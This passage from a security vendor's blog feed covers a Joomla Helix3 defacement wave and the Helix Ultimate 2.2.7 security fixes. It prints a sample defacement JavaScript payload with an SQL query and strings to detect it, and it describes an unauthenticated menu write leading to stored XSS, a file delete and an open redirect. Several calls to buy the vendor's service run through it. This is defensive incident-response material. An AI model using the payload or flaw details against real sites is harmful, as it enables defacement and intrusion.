&lt;/div&gt;
&lt;p&gt;Cleaning without patching just leaves the door open, so pair the clean with the update: bring both Helix3 plugins to 3.1.2 or newer and clear the Joomla cache. You reach the tool from any flagged site’s snapshot, under the “Hacked?” checks, alongside the Rogue Super Admin Accounts and JCE Rogue Profiles tools. If you are not a subscriber yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site and the snapshot will flag it there. Not sure the whole site is clean afterwards? Hand it to us and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;we will fix it for a fixed fee&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How to Find the AntonKill Payload in Joomla by Hand&lt;/h2&gt;
&lt;p&gt;Look in the template style, not the filesystem. In the Joomla admin, go to Extensions, then Templates, then Styles, open your Helix3 style, and check the Custom Code tab. The injected JavaScript sits in one of the Custom JavaScript, Custom CSS, or Before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; fields.&lt;/p&gt;
&lt;p&gt;The code you are looking for rewrites the whole page into the screen shown above. The markup differs between victims, but the injection follows the same shape:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;document.&lt;/span&gt;&lt;span&gt;addEventListener&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;DOMContentLoaded&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;function&lt;/span&gt;&lt;span&gt; () {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  document.title &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;hacked by trenggalek6etar&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  document.body.innerHTML &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &apos;&lt;/span&gt;&lt;span&gt;&amp;lt;div style=&quot;position:fixed;inset:0;background:#0a0a0a;z-index:2147483647&quot;&amp;gt; ... HACKED BY ... &amp;lt;/div&amp;gt;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exact bytes vary between victims, but the shape is consistent. If you would rather search the database directly than click through the admin, query the template styles table for the tell-tale strings:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; id, template, title&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;#__template_styles&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;%innerHTML%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   OR&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;%AntonKill%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   OR&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; LIKE&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;%trenggalek6etar%&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your site’s actual table prefix. Other strings worth grepping for in the same column are &lt;code&gt;document.title&lt;/code&gt;, &lt;code&gt;position:fixed;inset:0&lt;/code&gt;, and the very high &lt;code&gt;z-index:2147483647&lt;/code&gt; that keeps the overlay on top of everything.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;A defacement is often the polite version of a compromise. The same unauthenticated endpoint that wrote to your database can delete files and overwrite template settings, so once you have cleaned the visible skull, treat the site as breached: check for rogue administrator accounts, unexpected files, and modified scheduled tasks before you call it done.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Cleaning the Helix3 Defacement by Hand&lt;/h2&gt;
&lt;p&gt;If you are not a mySites.guru subscriber and want to clean a single site manually, it is two separate jobs, and doing only the first one is the most common mistake.&lt;/p&gt;
&lt;h3&gt;Step one: close the door&lt;/h3&gt;
&lt;p&gt;Update both Helix3 plugins to 3.1.2 or newer. That is the “System - Helix3 Framework” plugin and the “Helix3 - Ajax” plugin. They are separate plugins, and the vulnerable code is in the Ajax one, so updating the framework but leaving the old Ajax plugin in place keeps you exposed. Anything from Helix3 3.1.0 back to 1.0 is vulnerable.&lt;/p&gt;
&lt;h3&gt;Step two: remove what is already there&lt;/h3&gt;
&lt;p&gt;Updating the plugin does not delete the code already sitting in your database. As the remediation guides for this wave state, “an update does not remove existing malware”. Go into the template style’s Custom Code fields and strip out the foreign code from all four fields, or restore the &lt;code&gt;params&lt;/code&gt; column from a database backup taken before the attack.&lt;/p&gt;
&lt;h3&gt;Step three: put your template back together&lt;/h3&gt;
&lt;p&gt;The attack overwrites your template parameters, so once the injection is gone you may find your logo, custom CSS, and other Helix3 settings have been clobbered. Reconfigure them from your own records or a backup.&lt;/p&gt;
&lt;p&gt;If a plain-English recovery walkthrough would help, our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked Joomla site&lt;/a&gt; covers the wider cleanup, and if the site is business-critical and you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;our team fixes hacked sites&lt;/a&gt; directly.&lt;/p&gt;
&lt;h2&gt;How to Find Every Helix3 Site You Manage With mySites.guru&lt;/h2&gt;
&lt;p&gt;The hardest question after any framework flaw is not how to patch one site, it is which of your sites are even affected. Helix3 ships underneath a large number of JoomShaper templates, so it is entirely possible to be running it on dozens of client sites without ever having installed it by name.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You search for Helix3 once and get back every affected site, the version each one is running, and whether the 3.1.2 update is available, without logging into a single admin panel. Filter for anything below 3.1.2 and you have your patch list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every Helix3 install across your sites&lt;/p&gt;
  &lt;p&gt;A live inventory of every Joomla and WordPress extension, template, and framework across all your connected sites. Search Helix3 once, see every version, and push the update to the sites that still need it. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site to see the inventory for yourself.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Because this is a botnet, not a targeted attack, it re-hits anything left on a vulnerable version. A portfolio you patch halfway keeps getting re-defaced on the sites you missed, which is exactly the failure mode a single dashboard is built to prevent. The same approach got us through the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE profiles hack in June&lt;/a&gt;: find every vulnerable install first, then fix in bulk. If managing Joomla sites one admin login at a time is the real problem underneath all this, that is what &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from one screen is for.&lt;/p&gt;
&lt;h2&gt;A Pattern, Not a One-Off&lt;/h2&gt;
&lt;p&gt;The AntonKill wave is not happening in isolation. Through mid-2026 the Joomla ecosystem has taken a run of unauthenticated flaws in widely-installed extensions, all sharing one root cause: an endpoint that runs before it checks who is calling it. The Italian CERT Cyberoo, &lt;a href=&quot;https://cert.cyberoo.com/en/defacement-hacked-by-antonkill-what-the-attack-on-joomla-sites-tells-us/&quot;&gt;writing about AntonKill on 6 July&lt;/a&gt;, placed it against that broader context of Joomla extension exploitation, naming JCE, SP Page Builder, and iCagenda as the June examples where unauthenticated attackers could upload code and run it.&lt;/p&gt;
&lt;p&gt;Helix3 is the same class of bug in a different extension. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; dispatcher will happily call a plugin’s handler for an anonymous visitor, because authorisation is the plugin’s job, not Joomla’s. When a plugin forgets to check, you get exactly this. We wrote about that structural blind spot in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints as a CMS security blind spot&lt;/a&gt;, and every one of these incidents is another instance of it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;CERT Cyberoo documents the mid-2026 Joomla exploitation wave but does not attribute the AntonKill defacements specifically to Helix3, and cautions against assuming a cause without server-level forensics. The Helix3 link for this wave comes from the cleanup firms handling the affected sites, the JoomShaper support forum, and our own investigation.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;A Tool for Each New Attack in This Wave&lt;/h2&gt;
&lt;p&gt;The Helix3 Custom Code Hack tool is not a one-off. As each of these flaws has surfaced through June and July, we have shipped a matching check into the “Hacked?” section of every site’s snapshot, so a threat that was theoretical last week becomes a one-click check this week. On any connected Joomla site you now see the whole set side by side.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Hacked question section of a mySites.guru snapshot, listing four checks each with an OK status: Check For JCE Rogue Profiles and Backdoors, Rogue Super Admin Accounts, Helix3 Custom Code Hack, and SP Page Builder Rogue Icon-Font Assets, each with Learn, details, and Investigate buttons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1634px) 1634px, 100vw&quot; width=&quot;1634&quot; height=&quot;396&quot; src=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-hacked-tools.IrW9MGeY_Z1jf6lw.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-hacked-tools.IrW9MGeY_Z1nzX4d.webp 640w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-hacked-tools.IrW9MGeY_Z1Dviqa.webp 750w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-hacked-tools.IrW9MGeY_2rt2RK.webp 828w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-hacked-tools.IrW9MGeY_1LXC6G.webp 1080w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-hacked-tools.IrW9MGeY_3rv8C.webp 1280w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-hacked-tools.IrW9MGeY_Z1jf6lw.webp 1634w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Each check maps to a real incident from this wave: &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE rogue profiles and backdoors&lt;/a&gt;, rogue super administrator accounts, the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder rogue icon-font assets&lt;/a&gt;, and now the Helix3 custom-code injection. You run them on one site from its snapshot, and across your whole portfolio in one pass. Do not stop at the first clean result: a compromise hides in more than one place, so a site is only clear once every check comes back OK.&lt;/p&gt;
&lt;h2&gt;mySites.guru Is About to Reveal Another Zero-Day Soon&lt;/h2&gt;
&lt;p&gt;And the wave is not over. We are already sitting on the next one: a fresh Joomla zero-day that allows full, unrestricted, unauthenticated file uploads. In our proof of concept, an uploaded &lt;code&gt;.php&lt;/code&gt; file ran with no login and no token, written to a predictable web-root path and executed as &lt;code&gt;text/html&lt;/code&gt;. That is clean remote code execution, the most serious class of web vulnerability there is.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A confirmation panel reading CONFIRMED. Full unauthenticated remote code execution, explaining that an uploaded .php file executed and returned 78 times 78 equals 6084 as text/html, a clean RCE with no auth, no token, arbitrary .php written to a predictable web-root path and executed&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1008px) 1008px, 100vw&quot; width=&quot;1008&quot; height=&quot;296&quot; src=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-rce-proof.CuYMIB5s_Z14YWvX.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-rce-proof.CuYMIB5s_ZvMu8N.webp 640w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-rce-proof.CuYMIB5s_Z2564M4.webp 750w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-rce-proof.CuYMIB5s_2bcFmC.webp 828w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-rce-proof.CuYMIB5s_Z14YWvX.webp 1008w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;We will have the full write-up, and a mySites.guru check to find every affected site, out shortly. The pattern by then will be familiar: another unauthenticated endpoint, another extension in wide use, and another short window between disclosure and a botnet. The sites that come through it fine will be the ones already watching their whole estate from one place.&lt;/p&gt;
&lt;p&gt;The practical lesson is the one that repeats every time: a patch is only as good as your ability to apply it everywhere at once. Helix3 3.1.1 existed on 29 June. The sites getting defaced from 5 July onward are the ones that had no way to know they were running a vulnerable version until the skull appeared.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-28&lt;/strong&gt; We report the underlying flaw to JoomShaper An unauthenticated file write, arbitrary file delete and template-parameter overwrite in the Helix3 ajax plugin, found while investigating a hacked customer site. It becomes CVE-2026-49049.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-29&lt;/strong&gt; Helix3 3.1.1 ships the fix, described only as &quot;Security Update&quot; The patched code is public from this point, which means anyone can diff it against the previous release and see exactly what was closed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-05&lt;/strong&gt; The AntonKill defacement wave starts An automated botnet begins defacing Joomla sites through the flaw, tagging them &quot;Hacked by AntonKill&quot; or &quot;Hacked by trenggalek6etar&quot;. About a week after the fix shipped, which is the pattern we see over and over.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-06&lt;/strong&gt; The Italian CERT Cyberoo writes it up Placing AntonKill against the wider run of Joomla extension exploitation and naming JCE, SP Page Builder and iCagenda alongside it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-08&lt;/strong&gt; We publish, because the defacement is not in the files The payload lives in the template parameters in the database, so a file scan and a clean file diff both come back clear while the skull is still on the front page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt; - our record page, CVSS 7.5, improper access control in the Helix3 Ajax plugin.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Our earlier write-up of the Helix3 flaw and JoomShaper&apos;s two-word changelog&lt;/a&gt; - what 3.1.1 actually fixed and why the announcement did not tell you.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cert.cyberoo.com/en/defacement-hacked-by-antonkill-what-the-attack-on-joomla-sites-tells-us/&quot;&gt;CERT Cyberoo on the AntonKill defacements&lt;/a&gt; - the wider 2026 Joomla exploitation context.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot;&gt;Joomla&apos;s official &quot;you have been hacked or defaced&quot; checklist&lt;/a&gt; - the project&apos;s own recovery steps.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7 security update&lt;/a&gt; - the separate fix for JoomShaper&apos;s other template, in case you run both.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>hacked</category><category>vulnerability</category><category>helix3</category><category>joomshaper</category><category>defacement</category><category>wallet-drainer</category><category>shaper-helix3</category><enclosure url="https://mysites.guru/img/og/blog/helix3-antonkill-defacement-wave.png" length="0" type="image/png"/></item><item><title>Helix Ultimate 2.2.7 Closes an Unauthenticated Menu Write</title><link>https://mysites.guru/blog/helix-ultimate-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/helix-ultimate-security-update/</guid><description>Helix Ultimate 2.2.7 fixes CSRF and permission gaps in com_ajax: an unauthenticated menu write leading to stored XSS, a file delete, and an open redirect.</description><pubDate>Tue, 07 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JoomShaper shipped Helix Ultimate 2.2.7 on 7 July 2026. It is a security release, and a substantial one: it puts missing login and permission checks back across the framework’s AJAX handler, closes an unauthenticated write into your site’s menus that leads to cross-site scripting, confines file operations so they cannot escape the folder they belong in, validates redirects, and tightens media uploads. None of that is obvious from the version number, and if you triage Joomla updates by how urgent they look, this one deserves to jump the queue.&lt;/p&gt;
&lt;p&gt;To their credit, JoomShaper’s in-app changelog for 2.2.7 does more than the usual two-word “Security Update”. It lists the fixes and even tags them with the relevant weakness classes, CWE-862 for the missing authorisation and CWE-79 for the cross-site scripting:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Helix Ultimate 2.2.7 changelog, dated 07 July 2026, listing security fixes including blocked open redirects, enforced CSRF and permission checks across AJAX actions, corrected path validation, and patched XSS in the Mega Menu and Layout Builder&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1358px) 1358px, 100vw&quot; width=&quot;1358&quot; height=&quot;1520&quot; src=&quot;https://mysites.guru/_astro/helix-ultimate-security-update-changelog.CGMqUrtN_Z2jx1Mj.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix-ultimate-security-update-changelog.CGMqUrtN_Z2Fmlt.webp 640w, https://mysites.guru/_astro/helix-ultimate-security-update-changelog.CGMqUrtN_ZvvIPk.webp 750w, https://mysites.guru/_astro/helix-ultimate-security-update-changelog.CGMqUrtN_Z71mFu.webp 828w, https://mysites.guru/_astro/helix-ultimate-security-update-changelog.CGMqUrtN_Zm02Yg.webp 1080w, https://mysites.guru/_astro/helix-ultimate-security-update-changelog.CGMqUrtN_Z1rvbfi.webp 1280w, https://mysites.guru/_astro/helix-ultimate-security-update-changelog.CGMqUrtN_Z2jx1Mj.webp 1358w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is better than most template vendors manage. What the changelog still does not tell you is how the flaws chained together, which one to worry about most, or how far behind your installed version really is. This post fills that in, so you can judge the severity for yourself and update with your eyes open.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Helix Ultimate 2.2.7 patches several security holes in the framework’s &lt;code&gt;com_ajax&lt;/code&gt; handler. Before the release, several AJAX actions ran with no CSRF token and no permission check, so an anonymous visitor could write to your menu settings, and because that output was not escaped, that is a route to stored cross-site scripting in your admin session. It also fixes an in-folder arbitrary file delete via a path-validation flaw, an open redirect through &lt;code&gt;helixreturn&lt;/code&gt;, an unprotected template settings export, and loose media upload validation. Every version below 2.2.7 is affected; the last public release before it was 2.2.4 (22 January 2026). This is not a zero-day. The Joomla CNA assigned &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57829/&quot;&gt;CVE-2026-57829&lt;/a&gt; (stored XSS) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57830/&quot;&gt;CVE-2026-57830&lt;/a&gt; (arbitrary file deletion) on 13 July 2026, both High under CVSS 4.0, and the patched code is public. Update every Helix Ultimate site to 2.2.7 now. If you manage more than a handful of Joomla sites, mySites.guru can list every Helix Ultimate install in your account in seconds and push the update.&lt;/p&gt;
&lt;h2&gt;How to find every Helix Ultimate site you manage with mySites.guru&lt;/h2&gt;
&lt;p&gt;The first question after any framework security release is the awkward one: which of my sites actually run this? Helix Ultimate is one of the most widely installed template frameworks in the Joomla world, bundled under the bonnet of a large number of JoomShaper templates and plenty of third-party ones, so plenty of people are running it without ever having chosen it by name. A vendor’s update notice only helps if you can connect it to the right sites.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework installed on every Joomla and WordPress site in your account. You search for Helix Ultimate once, and you get back every affected site, the version each one is running, and whether the 2.2.7 update is available. No logging into 40 admin panels one at a time. No guessing.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your Helix Ultimate installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Helix Ultimate across all your connected Joomla sites and filter for anything below 2.2.7 to find the installations that still need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From that same list you can push the update to every affected site, so a vague sense of “I should probably check my sites” becomes a five-minute job across your whole account. If you are not a customer yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site and see the extension inventory for yourself, or read how we &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;p&gt;That is the practical answer. The rest of this post is the detail the changelog left out.&lt;/p&gt;
&lt;h2&gt;Helix Ultimate is not Helix3&lt;/h2&gt;
&lt;p&gt;JoomShaper ships two template frameworks with confusingly similar names, and they patched security holes in both within about a week of each other. Getting them mixed up will send you updating the wrong thing.&lt;/p&gt;
&lt;h3&gt;Helix Ultimate&lt;/h3&gt;
&lt;p&gt;The newer framework, and the subject of this post. It installs as the &lt;code&gt;helixultimate&lt;/code&gt; system plugin plus the &lt;code&gt;shaper_helixultimate&lt;/code&gt; template, and sometimes a small template installer plugin alongside them. Version 2.2.7 is the one you want.&lt;/p&gt;
&lt;h3&gt;Helix3&lt;/h3&gt;
&lt;p&gt;The older, separate framework. It had its own set of unauthenticated file-write and file-delete flaws, fixed in &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 3.1.1 on 29 June 2026&lt;/a&gt;. That is a different codebase, a different version number, and a different update. If you run sites on both, each needs its own patch.&lt;/p&gt;
&lt;p&gt;The vulnerable code in this case is Helix Ultimate’s AJAX handler, reachable through Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; dispatcher.&lt;/p&gt;
&lt;h2&gt;What the bugs actually did&lt;/h2&gt;
&lt;p&gt;Joomla has a built-in dispatcher called &lt;code&gt;com_ajax&lt;/code&gt; that lets a plugin expose an endpoint at a predictable URL. It is a normal, useful feature. The catch, and it is the same catch behind a long line of Joomla extension bugs, is that &lt;code&gt;com_ajax&lt;/code&gt; will happily call a plugin’s handler for a completely anonymous visitor. Deciding whether that visitor is allowed to do what they are asking is the plugin’s job, not Joomla’s.&lt;/p&gt;
&lt;p&gt;In Helix Ultimate before 2.2.7, several of those actions did their work before checking a session token or a user permission. Here is what that exposed, roughly in order of how much it should worry you.&lt;/p&gt;
&lt;h3&gt;An unauthenticated write to your menus, leading to cross-site scripting&lt;/h3&gt;
&lt;p&gt;This is the one to care about. The framework’s main AJAX handler took a &lt;code&gt;task&lt;/code&gt; value, split it into a class and method name, and called the matching code. Some of those methods wrote to the database with no token and no permission check in front of them, including the code that saves mega menu settings onto a menu item. So an anonymous request could store attacker-controlled content in a menu item’s parameters.&lt;/p&gt;
&lt;p&gt;On its own that is bad enough. It gets worse because the menu and mega menu output was not escaped before being rendered, which is the cross-site scripting the changelog refers to. Stored content plus unescaped output is the textbook recipe for a stored XSS: a script the attacker plants once, that then runs in the browser of everyone who views the affected page. And a Joomla menu renders on more or less every page, including the administrator. Script that fires in a logged-in Super User’s browser is the classic road to a freshly created admin account and a backdoor. That is why an “unauthenticated write to a menu setting” is not the minor-sounding issue it first appears.&lt;/p&gt;
&lt;h3&gt;An in-folder arbitrary file delete&lt;/h3&gt;
&lt;p&gt;The media manager’s delete action was behind a CSRF token but had no permission check and no proper path validation. The path you asked it to delete was joined onto the site root and passed more or less straight to the delete. Joomla’s input filtering blocks the obvious &lt;code&gt;../../&lt;/code&gt; climb out of the web root, but a single traversal step inside a valid path still slipped through, so a request could delete files anywhere inside your Joomla folder: &lt;code&gt;configuration.php&lt;/code&gt;, an &lt;code&gt;.htaccess&lt;/code&gt;, extension files, and so on. Because the only gate was a token rather than a real permission check, this was reachable by any logged-in user who could obtain a token, or by tricking a logged-in administrator into loading a malicious page (a cross-site request forgery). 2.2.7 adds the missing permission checks and confines the path properly.&lt;/p&gt;
&lt;h3&gt;An open redirect&lt;/h3&gt;
&lt;p&gt;The framework read a &lt;code&gt;helixreturn&lt;/code&gt; value from the URL, base64-decoded it, and redirected the browser to it with no validation. That is a classic open redirect: an attacker crafts a link that looks like it points at your trusted domain but bounces the visitor off to a phishing page. 2.2.7 validates the decoded target and only redirects to internal URLs.&lt;/p&gt;
&lt;h3&gt;An unprotected template export and loose uploads&lt;/h3&gt;
&lt;p&gt;Two smaller items round it out. The template settings export ran without checking that the requester had permission to manage templates, which leaks configuration to anyone who asks. And the media upload validation was loose enough that the release tightened it to image types only, explicitly blocking SVG and ICO in the media manager (both can have active content). The changelog also notes it stopped media uploads from accidentally triggering a template style import, and stripped internal server paths out of upload error messages so they stop leaking your directory structure.&lt;/p&gt;
&lt;h2&gt;How 2.2.7 closes it&lt;/h2&gt;
&lt;p&gt;The shape of the fix is reassuring, because it is consistent rather than a series of one-off patches. The old code trusted the request. The new code verifies it, the same way, across every action. Here is the release mapped to what each piece addresses.&lt;/p&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Hardening in 2.2.7&lt;/th&gt;&lt;th&gt;What it fixes&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;A shared guard that runs a CSRF token check and a permission check in front of every AJAX action&lt;/td&gt;&lt;td&gt;Stops anonymous and unauthorised requests reaching the menu write, media, export and other handlers (the CWE-862 missing-authorisation class)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Menu and mega menu settings restricted to a known set of valid attributes before they are saved&lt;/td&gt;&lt;td&gt;Stops arbitrary attacker-controlled data being written into menu parameters&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Output escaping added to media embeds, galleries, Mega Menu, Layout Builder and font options&lt;/td&gt;&lt;td&gt;Fixes the stored and reflected cross-site scripting (CWE-79)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Redirect targets validated and restricted to internal URLs only&lt;/td&gt;&lt;td&gt;Kills the open redirect through &lt;code&gt;helixreturn&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Corrected path validation in media, layout and blog file operations, confining them to their intended folders&lt;/td&gt;&lt;td&gt;Kills the in-folder file delete and related traversal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Permission checks added to blog image removal and template settings export&lt;/td&gt;&lt;td&gt;Stops unauthorised deletion and configuration disclosure&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Upload validation restricted to image types, with SVG and ICO blocked in the media manager&lt;/td&gt;&lt;td&gt;Removes upload vectors that can have active content&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Frontend article saving restricted to valid Helix Ultimate attributes; direct POST access replaced with Joomla’s input filtering; internal server paths stripped from upload error responses&lt;/td&gt;&lt;td&gt;Closes mass-assignment, unfiltered input and information-disclosure gaps&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Is this a zero-day?&lt;/h2&gt;
&lt;p&gt;No, and it is worth being precise, because the word gets thrown around. A zero-day is a flaw that is being exploited before a fix exists. That is not what happened here.&lt;/p&gt;
&lt;p&gt;JoomShaper’s own team wrote and shipped the fix. The security changes went in as a single pull request that was merged and tagged as the 2.2.7 release within about two minutes of each other on 7 July 2026. The code and the patch became public at the same instant, no security advisory was published, and no one has reported exploitation in the wild. The Joomla CNA assigned &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57829/&quot;&gt;CVE-2026-57829&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57830/&quot;&gt;CVE-2026-57830&lt;/a&gt; for these flaws on 13 July 2026. We confirmed the details by reading the public code difference between the old and new versions, not by finding a compromised site.&lt;/p&gt;
